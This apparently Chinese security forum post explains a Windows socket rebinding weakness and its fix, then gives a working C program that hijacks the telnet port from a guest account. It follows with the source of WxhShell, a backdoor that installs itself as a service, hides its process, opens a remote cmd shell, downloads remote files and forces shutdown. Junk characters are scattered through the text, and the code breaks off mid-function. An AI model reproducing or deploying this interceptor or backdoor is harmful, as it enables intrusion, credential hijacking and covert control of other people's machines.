在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
)wyC8` &- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8]j*z n?, {U"=}j( saddr.sin_family = AF_INET;
d`9ofw~3= z,xGjSP saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:Fh#"<A&& l#bE_PD; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
BHN EP |= MmQ"z_v 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7 F> a&r K;j0cxl 这意味着什么?意味着可以进行如下的攻击:
45A|KaVpg gJBw6'Z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
v+(-\T\i pPsT,i? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
I_\?w SNGM =M9;`EmC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A"i$.dR{ ZgA+$}U)uW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.oH)eD i[/`9 AK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
z07Xj%zX9 i62GZeE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
PvB{@82 +;/ s0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8/T[dn ;u;_\k<qK #include
7_ s7); #include
\=uD)9V #include
.H
9r_ #include
t Z@OAPRx DWORD WINAPI ClientThread(LPVOID lpParam);
{4eI}p< int main()
{H3B1*Dk {
i F \H WORD wVersionRequested;
`z$=J"%? y DWORD ret;
i5cK5MaD WSADATA wsaData;
j:E3c\a BOOL val;
=z!/:M SOCKADDR_IN saddr;
unc8WXW SOCKADDR_IN scaddr;
L<k(stx~ int err;
46U*70 SOCKET s;
RQYD#4| SOCKET sc;
o1R:1!"2 int caddsize;
c2Wp 8l HANDLE mt;
MSE0z!t DWORD tid;
{t!Pv2y< wVersionRequested = MAKEWORD( 2, 2 );
S S fNI> err = WSAStartup( wVersionRequested, &wsaData );
d<RJH if ( err != 0 ) {
w@WPp0mny printf("error!WSAStartup failed!\n");
Fv<3VKueK[ return -1;
_N:GZLG }
UM2yv6:/ saddr.sin_family = AF_INET;
=[,EFkU?B MdhD "Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q zp!)i RQ;w$I\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$Y M(NC saddr.sin_port = htons(23);
C#n.hgo>I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tMH2 {
M|fC2[]v B printf("error!socket failed!\n");
B`)TRt+'. return -1;
\aN7[>R.Q }
Je4hQJ<h val = TRUE;
P'^& SK //SO_REUSEADDR选项就是可以实现端口重绑定的
MM6PaD{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-"rANP-UI {
^hcK& printf("error!setsockopt failed!\n");
'^`iF,rg return -1;
wZVLpF+7 }
XT?wCb41R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Clb7=@f //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Nq1YFI>W //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,P%i%YPj hP}-yW6] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
5zOC zm {
mt~E&Z(A ret=GetLastError();
E24j(> printf("error!bind failed!\n");
i.{.koH< return -1;
Rn)fwGC }
OIDP#K listen(s,2);
rl,i,1t while(1)
_nM 7SK {
|
{Q}:_/q caddsize = sizeof(scaddr);
3YG%YhevO //接受连接请求
"RTv[n! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.F N
6/N\ if(sc!=INVALID_SOCKET)
W ",yq| {
b=5ZfhIg[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~n$\[rQ if(mt==NULL)
Ehxu`>@N {
:D4'x{#H printf("Thread Creat Failed!\n");
]FgKL0 break;
iBwM]Eyv. }
r
uIgo B }
Xzl$Qc CloseHandle(mt);
Ym.{
{^= }
{eVv%sbq closesocket(s);
`O5427Im WSACleanup();
-@ra~li,yQ return 0;
^7a@?|,q8 }
k136n#KN1 DWORD WINAPI ClientThread(LPVOID lpParam)
Ri\\Yb {
f!H/X%F SOCKET ss = (SOCKET)lpParam;
H%>^_:h SOCKET sc;
Lrmhr3
w5 unsigned char buf[4096];
`"o{MaFA SOCKADDR_IN saddr;
virt[5w long num;
[N#4H3GM8 DWORD val;
t)= dKC DWORD ret;
$+PyW(
r //如果是隐藏端口应用的话,可以在此处加一些判断
?L0 |$#Iw //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
X` J86G ) saddr.sin_family = AF_INET;
B*t1Y<>x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
mZG n:f}= saddr.sin_port = htons(23);
4;Vi@(G) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`X)A$lLr {
mT #A?C2 printf("error!socket failed!\n");
E]}_hZU return -1;
t1G__5wp }
|3^U\r^zo val = 100;
3.1%L"r[) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)7X$um {
RB6Q>3g ret = GetLastError();
_zJ /z return -1;
_90<*{bt. }
`<kB/T if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O8cZl1C3 {
ANgt\8 ret = GetLastError();
P)#h4|xZ return -1;
n/x((d%"E }
/='Q-`?9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
81C;D`!K {
M6bM`wHH> printf("error!socket connect failed!\n");
~KV{m closesocket(sc);
*nc3A[B#C closesocket(ss);
f'w`< return -1;
,FXc_BCx4 }
7XLqP while(1)
rxqSi0p {
.6C6ZUB; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_]- 4UA- //如果是嗅探内容的话,可以再此处进行内容分析和记录
I9Uj3cL\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
G&@dJ &B num = recv(ss,buf,4096,0);
QBG jH^kL if(num>0)
I ~^Xw7 send(sc,buf,num,0);
!XM<`H/ else if(num==0)
uE<8L(*B break;
^B%c3U$o num = recv(sc,buf,4096,0);
g"k4Z if(num>0)
2r;h"> send(ss,buf,num,0);
ca3SE^ else if(num==0)
q"6$#o{~U break;
IUDH"~f }
~Uey'Xz closesocket(ss);
ijUu{PG`X closesocket(sc);
tTF<DD}8 return 0 ;
<h;_: }
{}rnn$HQe 5Zd oem FJ4,|x3v[x ==========================================================
a+\<2NXYD 5ba e- 下边附上一个代码,,WXhSHELL
>MSK.SNh >*opE I+ ==========================================================
Qc)i?Z'6 Dy>6L79G #include "stdafx.h"
;obOr~Jx'5 Sc#3<nVg #include <stdio.h>
@}:E{J#g #include <string.h>
?qi~8.<w #include <windows.h>
K~2sX>l #include <winsock2.h>
j*[P\Cm #include <winsvc.h>
v+[S${ #include <urlmon.h>
!>D[Y c9o]w8p/ #pragma comment (lib, "Ws2_32.lib")
\uZ|2WG` #pragma comment (lib, "urlmon.lib")
8|<</v8i =[&+R9s #define MAX_USER 100 // 最大客户端连接数
6)*B%$?x #define BUF_SOCK 200 // sock buffer
_ E-\aS{ #define KEY_BUFF 255 // 输入 buffer
=.&8ghJ*M qp/1tC` #define REBOOT 0 // 重启
[f!
{
-T #define SHUTDOWN 1 // 关机
bJ2>@|3* Dr(2@0P #define DEF_PORT 5000 // 监听端口
MG~Z)+g=y Rd5-ao4 #define REG_LEN 16 // 注册表键长度
EI7n|X
a1q #define SVC_LEN 80 // NT服务名长度
[3s-S+n
@ p5tb=Zg_ // 从dll定义API
(QL:7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S9]I[4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~]QQaP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
L\UGC%]9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"]kzt ux 4}k@p>5v' // wxhshell配置信息
y`L.#5T struct WSCFG {
F[SZwMf29 int ws_port; // 监听端口
xr]bH.> char ws_passstr[REG_LEN]; // 口令
E:dN) int ws_autoins; // 安装标记, 1=yes 0=no
ZI;*X~h char ws_regname[REG_LEN]; // 注册表键名
(,jsZ!sl char ws_svcname[REG_LEN]; // 服务名
n6.Z{Q'b char ws_svcdisp[SVC_LEN]; // 服务显示名
:"Otsb7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
F'OO{nF char ws_passmsg[SVC_LEN]; // 密码输入提示信息
o $W@@aM int ws_downexe; // 下载执行标记, 1=yes 0=no
cTzR<Yr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'W4B char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|aAyWK S ?bt;i>O\ };
88,hza`#V Hg<aU*o; // default Wxhshell configuration
7)5G 1 struct WSCFG wscfg={DEF_PORT,
_h5d~ "xuhuanlingzhe",
w8R7Ksn( 1,
gd]S;<Jh "Wxhshell",
HcJ!( "Wxhshell",
o$l8"Uv "WxhShell Service",
=0]K(p, "Wrsky Windows CmdShell Service",
y6tqemz "Please Input Your Password: ",
yP"}(!~m 1,
|;xEKnF "
http://www.wrsky.com/wxhshell.exe",
JbL3/h] "Wxhshell.exe"
Dy,MQIM|! };
8s2y!pn7Q U5wh( vi // 消息定义模块
O/FI>RT\H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%K')_NS@ char *msg_ws_prompt="\n\r? for help\n\r#>";
D
(8Z90 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`^[Tu 1 char *msg_ws_ext="\n\rExit.";
{<@ud0A:\ char *msg_ws_end="\n\rQuit.";
.\T!oSb4[ char *msg_ws_boot="\n\rReboot...";
W_E^+Wl@ char *msg_ws_poff="\n\rShutdown...";
v]EZYEXFL) char *msg_ws_down="\n\rSave to ";
$Wj{B@k _AX,}9 char *msg_ws_err="\n\rErr!";
3N-
'{c6]U char *msg_ws_ok="\n\rOK!";
_s#]WyU1g )Sb-e(sl char ExeFile[MAX_PATH];
<mlN\BcX; int nUser = 0;
l+>Y HANDLE handles[MAX_USER];
!;h&@LXG( int OsIsNt;
2 G2+oS
? \A011R& SERVICE_STATUS serviceStatus;
VBPtM{g SERVICE_STATUS_HANDLE hServiceStatusHandle;
f_n ]r3/hDRDL@ // 函数声明
Qs
za,09 int Install(void);
Y:O|6%00Y int Uninstall(void);
%a
WRXW@c int DownloadFile(char *sURL, SOCKET wsh);
K mH))LIv int Boot(int flag);
9xz@2b@ void HideProc(void);
*cCx]C.~ int GetOsVer(void);
DJ<+" .v! int Wxhshell(SOCKET wsl);
ut\X{.r7 void TalkWithClient(void *cs);
B !,&{[D
int CmdShell(SOCKET sock);
Nv. int StartFromService(void);
(wq8[1Wzup int StartWxhshell(LPSTR lpCmdLine);
#<"od '{U n
nAtXVy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
035jU ' VOID WINAPI NTServiceHandler( DWORD fdwControl );
keRLai7h Y)F(-H) // 数据结构和表定义
\ui'~n_t] SERVICE_TABLE_ENTRY DispatchTable[] =
yc?L
OW0 {
#J3o~,t< {wscfg.ws_svcname, NTServiceMain},
\P+^BG! {NULL, NULL}
]
&" ` };
}(!Uq HQ9tvSc // 自我安装
2"Wq=qy\J int Install(void)
q MrM^ ~ {
Ul/m]b6- char svExeFile[MAX_PATH];
F7O*%y.'; HKEY key;
4]m{^z`1 strcpy(svExeFile,ExeFile);
dWkQ NFKF 'A.5T%n- // 如果是win9x系统,修改注册表设为自启动
(>A#|N1U if(!OsIsNt) {
4GF3.?3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/"st
sF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?M&@# lbG RegCloseKey(key);
c8[kL$b;j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sV2D:%\K: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
L5 Cfa- RegCloseKey(key);
i"iy 0? return 0;
K/Yeh<_& }
hx&fV#m }
_[z)%`kay }
.rO~a.kG else {
2bTS,N/> qOy(dG g // 如果是NT以上系统,安装为系统服务
N[3Y~HX!q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
yH-&o, if (schSCManager!=0)
!Whx^B: {
K) SC_HANDLE schService = CreateService
%G2g
@2 (
~<<32t'S: schSCManager,
R[jFB
7dd wscfg.ws_svcname,
:Bt,.uNC wscfg.ws_svcdisp,
W[DoQ @q SERVICE_ALL_ACCESS,
1aS:bFi` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
nlhv SERVICE_AUTO_START,
ww7nQ}H5( SERVICE_ERROR_NORMAL,
rQ _cH svExeFile,
3bezYk NULL,
)8g&lyT NULL,
=dHdq D NULL,
a@jM%VZ NULL,
OET/4(C NULL
~D}fy );
d2i?FT> if (schService!=0)
KG(FA {
VT4>6u} CloseServiceHandle(schService);
E"p _!!1 CloseServiceHandle(schSCManager);
H/M]YUs/3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
tlD^"eq4: strcat(svExeFile,wscfg.ws_svcname);
5<`83;R9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
qzvht4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
kZG;\ RegCloseKey(key);
h>*3i# return 0;
3GKKC9C6 }
k3t]lGp }
K]B`&ih CloseServiceHandle(schSCManager);
|pBFmm* }
:TP4f
?FA }
+{=U!}3| $eT[`r return 1;
./3/3&6 }
(?'vT% (_FeX22+ // 自我卸载
RAu(FJ int Uninstall(void)
'[8w8,v( {
@<$m`^H HKEY key;
v)O].Hd W0mvwYON[ if(!OsIsNt) {
n(# yGzq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w/ZP.B RegDeleteValue(key,wscfg.ws_regname);
r*mSnPz\q RegCloseKey(key);
YKU|D32 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$-pijBiz_ RegDeleteValue(key,wscfg.ws_regname);
x2&5zp RegCloseKey(key);
9eHqOmz return 0;
4@\$k+v }
zi`q([ }
>r(`4M: }
_i7yyt;h else {
ji4bz#/B0 1>\V>g9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|ITCw$T if (schSCManager!=0)
^Tj{}<yT {
&$2d=q8mh SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jPz1W4pk if (schService!=0)
>#&2 5,Q {
n05GM.|*s if(DeleteService(schService)!=0) {
A9]&w CloseServiceHandle(schService);
\}n_Sk CloseServiceHandle(schSCManager);
4noy!h return 0;
.Ow8C }
W+8s> CloseServiceHandle(schService);
r7V !M1 }
-{Ar5) ?=' CloseServiceHandle(schSCManager);
tj*0Y-F~ }
o[eZ"}~ }
9^H.[t h,&{m*q& return 1;
4Ng:7C2 }
jHE^d<=O^ z#`Qfvu6Hi // 从指定url下载文件
tUOY`]0 int DownloadFile(char *sURL, SOCKET wsh)
Nc[N 11?O {
`S4*~Xx HRESULT hr;
3:#6/@wQ char seps[]= "/";
sqV~Dw char *token;
hg<[@Q%$o char *file;
BUsxgs"), char myURL[MAX_PATH];
kd"nBb= char myFILE[MAX_PATH];
F/LMk8RgR G `3{Q7k strcpy(myURL,sURL);
{0a\<l token=strtok(myURL,seps);
Vh=U/{Rp1 while(token!=NULL)
Ylu\]pr9|C {
8BZ&-j{ file=token;
J9XH8Grk- token=strtok(NULL,seps);
t~4Cf]) }
f<rn't{ * Wp?0CP GetCurrentDirectory(MAX_PATH,myFILE);
\I}EWI strcat(myFILE, "\\");
^ZS!1%1 strcat(myFILE, file);
@x!+_z send(wsh,myFILE,strlen(myFILE),0);
='+I dn#5 send(wsh,"...",3,0);
!"RRw&0M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[742s]j if(hr==S_OK)
Nr*X1lJ6 return 0;
w?8\9\ ;? else
A1Uy|Dl return 1;
B1U!*yzG6 'xnI Nu }
7 p!ROl^ `J03t\ // 系统电源模块
n q>F_h int Boot(int flag)
$~1mKx]] {
^\`a-l^ HANDLE hToken;
,G="wI TOKEN_PRIVILEGES tkp;
[.Fq
l+ [7r^fD
A if(OsIsNt) {
tq'ri-c&b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2cIbX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
biw .
~ tkp.PrivilegeCount = 1;
*[b>]GXd49 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
88S:E7
$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Y}2Sr-@u if(flag==REBOOT) {
gE^pOn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7mXXMm return 0;
zAklS 7L }
L{r 4hL [
else {
kc=Z6(= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
L$);50E
return 0;
Uzrf,I[ }
6L\]Ee }
zd!%7
UP else {
xb0,dZb if(flag==REBOOT) {
#%E^cGfY if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!j% return 0;
kkb+qo }
J}8p}8eF, else {
O(=9&PRi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]&D=*:c return 0;
-Edy ~;_ }
Dic|n@_Fy }
HYT~AO-! H7Z`a QC return 1;
{29aNm }
/#@tv~Z^ j[w=pF,o // win9x进程隐藏模块
?Y8hy|` void HideProc(void)
$X/'BCb {
Jn|i! BgdUG:;&
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
kFmtE
dhsc if ( hKernel != NULL )
<,/7:n {
=23@"ji@D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
olxxs( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ln8NcAEx FreeLibrary(hKernel);
P*|=Z>%[0 }
, .;0xyc srO>l ;Vf/ return;
NR8`nc1~ }
P3=#<Q. lP]Y^Gz // 获取操作系统版本
a:HN#P)12 int GetOsVer(void)
mDbTOtD {
z9OpxW@Ou OSVERSIONINFO winfo;
>!']w{G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
z^&$6c_ GetVersionEx(&winfo);
Tl[*(|/C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8{i}^.p return 1;
UyV5A else
$>yfu=]? return 0;
%
C2Vga# }
NR
k~ `]6<j<'
, // 客户端句柄模块
.{`C>/"} int Wxhshell(SOCKET wsl)
5%fWX'mS {
_JNYvngm SOCKET wsh;
r`EjD}2d struct sockaddr_in client;
>s"/uo DWORD myID;
fvi0gE@bd 6\K\d_x while(nUser<MAX_USER)
)b2O!p {
Q#qfuwz int nSize=sizeof(client);
U2W Hs3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[v*q%Mi_ if(wsh==INVALID_SOCKET) return 1;
</xf4.C ##xvuLy-6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Z~-N'Lt{ if(handles[nUser]==0)
Y(kf<Wo closesocket(wsh);
>.K%W*t else
UXpp1/d|e nUser++;
eQ8t.~5;- }
dlCYdwP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
i}v.x p0zC(v0* return 0;
LK}FI*A_ }
)mBYW}} T `G`R|B // 关闭 socket
62 _k`)k void CloseIt(SOCKET wsh)
DQXcf*R {
Ny$3$5/ closesocket(wsh);
GQ@mQ=i nUser--;
.lP',hn ExitThread(0);
|#Lz0<c; }
p?ccBq g9VY{[V // 客户端请求句柄
,~ZD"'*n6g void TalkWithClient(void *cs)
- PSgBH[ {
$*%, T7.SjR6X> SOCKET wsh=(SOCKET)cs;
ug ;Xoh5w char pwd[SVC_LEN];
0^uUt- char cmd[KEY_BUFF];
`t)9u^[<( char chr[1];
y'4Qt.1ukN int i,j;
Q/0gd? U? nC%qdzT while (nUser < MAX_USER) {
C<(oaeQY Fih
pp< if(wscfg.ws_passstr) {
0\ (:y^X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E JuTv%Y8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<y^_&9 //ZeroMemory(pwd,KEY_BUFF);
{dpDQP +! i=0;
sHk>ek]2I while(i<SVC_LEN) {
P3|s}& h
ka_Fo // 设置超时
HNBmq>XDc fd_set FdRead;
&b5(Su struct timeval TimeOut;
0^o/cSF FD_ZERO(&FdRead);
jED.0,+K! FD_SET(wsh,&FdRead);
;e5PoLc TimeOut.tv_sec=8;
_Q
I!UQdW TimeOut.tv_usec=0;
*.|%uf. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
t $Rc
0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
xt,Qn460; -mRgB"8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
oU\7%gQ pwd
=chr[0]; -q{N1?tcy
if(chr[0]==0xd || chr[0]==0xa) { |%XTy7^a
pwd=0; SiX<tj#HH\
break; ug2W{D
} ycc G>%>r
i++; LAxN?ok9gD
} OQ?N_zs,
&5b3k[K"
// 如果是非法用户,关闭 socket msfE;
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \2a;z<(
} 8/dMvAB1So
s[0`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o&%v"#H2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D0 p*Sg
-#;xfJE
while(1) { Z*mbhod
&Q?@VNi
ZeroMemory(cmd,KEY_BUFF); U6@c)_* <
~YCH5,
// 自动支持客户端 telnet标准 o68i0aFW
j=0; T
pF[-fO
while(j<KEY_BUFF) { DWKQ>X6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *1`X}
cmd[j]=chr[0]; X7L:cVBg
if(chr[0]==0xa || chr[0]==0xd) { [I4MK%YQ
cmd[j]=0; ~d]v{<3
break; SU~.baP?
} ~i%=1&K&`
j++; QWfSm^
t
} A2M(
ad
=#W:z.w
// 下载文件 b}0h()v
if(strstr(cmd,"http://")) { HBE[q#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); jmr
.gW
if(DownloadFile(cmd,wsh)) .UL2(0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@+nkTJ9&t
else /v5A)A$7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8ex;g^e
} NC-K`)
else { _`\!+qGq
YWH>tt9
switch(cmd[0]) { ;NRh0)%|o
[C6ba{9B
// 帮助 n
Ab~
case '?': { ?}s;,_GH
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MBA?, |9Q#
break; 5>f"
} [%dsq`b#
// 安装 fS4W*P[B3
case 'i': { sS}:O d
if(Install()) r4*H96l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `K.B`
else (Fzy8
s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 96V8R<
break; aH_c84DS
} lY
tt|J
// 卸载 ^{MqJ\S7H
case 'r': { JnBc@qnP6
if(Uninstall()) )x/#sW%)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zc~7R`v7}
else 3qe`#j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^w1+b;)
break; (y>N\xS9
} d[3me{Rs
// 显示 wxhshell 所在路径 G:$kGzhJ
case 'p': { 15j5F5P
char svExeFile[MAX_PATH]; &]n }fq
strcpy(svExeFile,"\n\r"); ,6g{-r-2
strcat(svExeFile,ExeFile); %[*-aA
send(wsh,svExeFile,strlen(svExeFile),0); 0@zJa;z'
break; ?(=|!`IoO
} :gwmk9LZ
// 重启 oa"Bpi9i
case 'b': { I &iyj99n
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $oQOOa@;i)
if(Boot(REBOOT)) WkA47+DsV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (t@)`N{
else { wz:e\ !
closesocket(wsh); d5gwc5X
ExitThread(0); NzQvciJ@"
} }?Y -I>
w
break; iptA#<Yj
} :P_h_Tizv
// 关机 8+oc4~!A@n
case 'd': { 7w)8s
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jD S\
if(Boot(SHUTDOWN)) iw,uwh|L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3?FY?Q[
else { $mM"C+dD
closesocket(wsh); x&;AY
ExitThread(0); $mGzJ4&
} VX.LL
5
break; Bn&P@C$7
} L.@$rFhA
// 获取shell |9S8sfw
case 's': { <h/q^| tZ{
CmdShell(wsh); [m:cO6DM,
closesocket(wsh); _1gNU]"
ExitThread(0); WMtFXkf6"
break; C:Rs~@tl
} I20~bW
// 退出 j13-?fQ&
case 'x': { mU4(MjP?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c.]QIIdK
CloseIt(wsh); 0<`qz |_h
break; G^d3$7
} /P,1KVQPh
// 离开 I*a@_EO
case 'q': { #(614-r/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?fy37m(M}
closesocket(wsh); /Kli C\
WSACleanup(); OoA!N-Q
exit(1); t!rrYBSCr
break; -rcEG!
} E6~VHQa2?
} }~@/r5Zl
} [ ft6xI
akbB=:M,x
// 提示信息 2K>1,[ C'Z
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n`Pl:L*kG
} Q.B)?w m
} 1r>]XhRFZ
q#AEu
xI1
return; 4Px|:7~wT8
} 9~~NxWY%x
1<m`38'
// shell模块句柄 dM^EYW
int CmdShell(SOCKET sock) Cty{
{ *Ze0V9$'
STARTUPINFO si; )KFxtM-
ZeroMemory(&si,sizeof(si)); ||X3g"2W9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kBk>1jn"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
s*gqKQ;
PROCESS_INFORMATION ProcessInfo; HQ"T>xb
char cmdline[]="cmd"; 'm*W<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pl
r@
return 0; Gz{%Z$A~o
} kB@gy}
Lm}.+.O~d
// 自身启动模式 ?=Ceo#Er
int StartFromService(void) -b!Z(}JK
{ }w4OCN\1
typedef struct )=GPhC/sw
{ #^VZJ:2=|
DWORD ExitStatus; @*vVc`;
DWORD PebBaseAddress; M2cGr
DWORD AffinityMask; Ti)Me-g
